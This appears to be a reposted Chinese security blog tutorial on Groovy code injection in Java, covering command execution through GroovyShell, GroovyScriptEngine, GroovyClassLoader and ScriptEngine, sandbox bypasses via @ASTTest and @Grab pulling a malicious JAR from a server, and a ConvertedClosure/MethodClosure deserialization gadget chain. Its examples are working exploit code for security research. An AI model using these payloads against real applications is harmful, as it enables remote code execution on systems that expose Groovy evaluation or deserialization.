Java安全-Groovy

admin 2023年5月30日11:11:09评论52 views字数 9050阅读30分10秒阅读模式

简述

Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。

特点

  • 同时支持静态和动态类型;

  • 支持运算符重载;

  • 本地语法列表和关联数组;

  • 对正则表达式的本地支持;

  • 各种标记语言,如XML和HTML原生支持;

  • Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;

  • 可以使用现有的Java库;

  • Groovy扩展了java.lang.Object;

Groovy 代码注入

maven 导入Groovy 后,

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.15</version>
</dependency>

可以直接在idea里运行groovy脚本和类。

Java安全-Groovy

groovy 可以直接执行Java 代码,也可以按照自己的语法来执行。

比如

Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显

groovy 支持单引号闭合字符串。

还可以像php一样"${"whoami".execute().text}"

MethodClosure

从名字就可以知道,这是一个方法闭包,使用方法闭包来代替对象的某个方法,方便调用。

构造函数第一个参数是对象,第二个参数是对象的方法。

并调用call方法对闭包进行调用。

package com.groovy;

import org.codehaus.groovy.runtime.MethodClosure;


public class Groovy1 {
public static void main(String[] args) throws Exception{

// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
// mc.call("calc");

MethodClosure mc = new MethodClosure("calc","execute");
mc.call();
}
}

GroovyShell

GroovyShell 这个类 主要有三个方法 evaluate run parse

evaluate 有多种重载,支持从 String,File,URI,Reader,GroovyCodeSource 类型 以及多种的组合执行groovy代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。

parse就是返回一个groovy脚本(groovy.lang.Script )然后调用其run 方法执行。

run方法就是获取groovy脚本来直接运行,跨过evaluateparse方法

下面就是简单的demo。 url下的exp.groovy 内容就是cmd变量的值。

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;

import java.io.File;
import java.net.URI;

public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyShell groovyShell = new GroovyShell();
String cmd = ""whoami".execute().text";
// System.out.println(groovyShell.evaluate(cmd));
// File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
// System.out.println(groovyShell.evaluate(file));
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
// System.out.println(groovyShell.evaluate(uri));
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
System.out.println(groovyShell.evaluate(groovyCodeSource1));
}
}

GroovyScriptEngine

允许从指定root(可以是某文件夹,某URL,某Resource)下获取脚本来执行,还可以指定类加载器去加载。

package com.groovy;


import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;

import java.net.URL;
import java.net.URLClassLoader;


public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
// scriptEngine.run("TestGroovyScipt.groovy","");
GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine1.run("exp.groovy","");

}
}

GroovyScriptEvaluator

这个类的 evaluate方法同样可以执行groovy代码,本质还是GroovyShell 。

不过evaluate参数需要是org.springframework.scripting.ScriptSource 接口的对象。

Java安全-Groovy

这个接口有两个实现类,StaticScriptSource ,ResourceScriptSource 。

前者提供脚本字符串,后者需要提供一个可以触发 org.springframework.core.io.Resource#getFilename Resource接口对象

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;



public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
// ScriptSource scriptSource = new StaticScriptSource(""whoami".execute().text");
// System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
// FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
// ScriptSource source = new ResourceScriptSource(fileSystemResource);
// System.out.println(groovyScriptEvaluator.evaluate(source));
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
}
}

GroovyClassLoader

GroovyClassLoader 用于在Java中加载groovy 类并调用,有重写的loadClass 和 defineClass 用法大抵相同,parseClass 可以直接从文件或者字符串中获取groovy类。

package com.groovy;


import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;

public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
// Class clazz = classLoader.loadClass("exp");
GroovyClassLoader classLoader = new GroovyClassLoader();
// Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
Class clazz = classLoader.parseClass("class Test {n" +
" static void main(String[] args) {n" +
" GroovyShell groovyShell = new GroovyShell()n" +
" String cmd = "\"whoami\".execute().text"n" +
" println(groovyShell.evaluate(cmd).toString())n" +
" }n" +
"}n");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main","");


}
}

ScriptEngine

javax.script.ScriptEngine 想必都熟悉,我们可以使用他来执行js脚本,当然也可以执行groovy 脚本。

package com.groovy;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Groovy1 {
public static void main(String[] args) throws Exception{
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval(""whoami".execute().text"));
}
}

Bypass 沙箱

@AST注解执行断言

package com.groovy

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')

@Grab注解添加恶意依赖

需要导入ivy依赖

<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>

Grape is a JAR dependency manager embedded into Groovy. Grape lets you quickly add maven repository dependencies to your classpath, making scripting even easier.

package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import PoC
''');

索引会像加载maven依赖一样,如果本地仓库没有,就从服务器的 PoC/EvilJar/0.1/目录,下载EvilJar-0.1.jar 文件,默认存储在 ~/.groovy/grapes 目录下

Java安全-Groovy

导入的jar包会先经过两种处理

groovy-all-2.4.15-sources.jar!/groovy/grape/GrapeIvy.groovy

Java安全-Groovy

其中利用了SPI机制。

processCategroyMethods 用来注册扩展方法。

processOtherServices 用来发现并处理其他服务,比如META-INF/services/org.codehaus.groovy.plugins.Runners

Java安全-Groovy

根据代码可以大概总结为,从上述接口文件中,遍历所有不是#开头的行,获取每行的类名然后加载并实例化。

利用

Java安全-Groovy

package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import java.lang.String
''');


Java安全-Groovy

这里的注解需要加载import上,所以随便import一个类就行。

Groovy反序列化

在Groovy中,闭包是允许被序列化的。

Java安全-Groovy

MethodClosure 的call方法可以用来执行命令,

需要找到一个可以触发call方法,在org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom

里可以找到触发,

Java安全-Groovy

可以看到ConvertedClosure的继承关系如下,

Java安全-Groovy

说白了,他就是动态代理里的handler类,他的文档解释说这个类是一个通用适配器,用于将Java接口调用映射到给定的委托。

这里的委托就是构造时传入的闭包。

看一下他的invoke方法的定义

对声明类不是 Object 的方法的任何调用(不包括 toString() 和默认方法)都将重定向到 invokeCustom。

Java安全-Groovy

checkMethod就是检查是不是Object类的方法,比如,hashCodeequalstoString 等。

Java安全-Groovy

只有方法名和代理对象调用的方法名相同时才能调用call方法。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;
import java.util.Map;


public class Groovy1 {
public static void main(String[] args) throws Exception{

MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"get");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.get("calc");
}
}

为什么用get,因为代理执行结果与对应方法的类型不匹配,会报错,不过并不影响命令执行。可以像cc一样去找调用了get方法的地方,但是还得保证get的参数是可控的,有点鸡肋。不过还有各种类的各种方法可以代理。看一下yso的调用链。

Java安全-Groovy

优先队列反序列化时会对元素进行比较(ref:p牛星球),所以只需要创建一个Comparable的代理对象就可以了。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;

public class Groovy1 {
public static void main(String[] args) throws Exception{

MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"compareTo");
Comparable comparator = (Comparable) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Comparable.class},convertedClosure);
comparator.compareTo("calc");
}
}

还可以代理无参数的方法触发命令执行。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
public static void main(String[] args) throws Exception{

MethodClosure mc = new MethodClosure("calc","execute");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"entrySet");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.entrySet();
}
}

entrySet 方法可以参考sun.reflect.annotation.AnnotationInvocationHandler#readObject

Java安全-Groovy

参考

https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/#Groovy%E7%AE%80%E4%BB%8B

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java


来源:https://xz.aliyun.com/t/10703,感谢:j1ang 

Java安全-Groovy

欢迎进群交流

原文始发于微信公众号(衡阳信安):Java安全-Groovy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日11:11:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-Groovyhttps://cn-sec.com/archives/1772828.html

发表评论

匿名网友 填写信息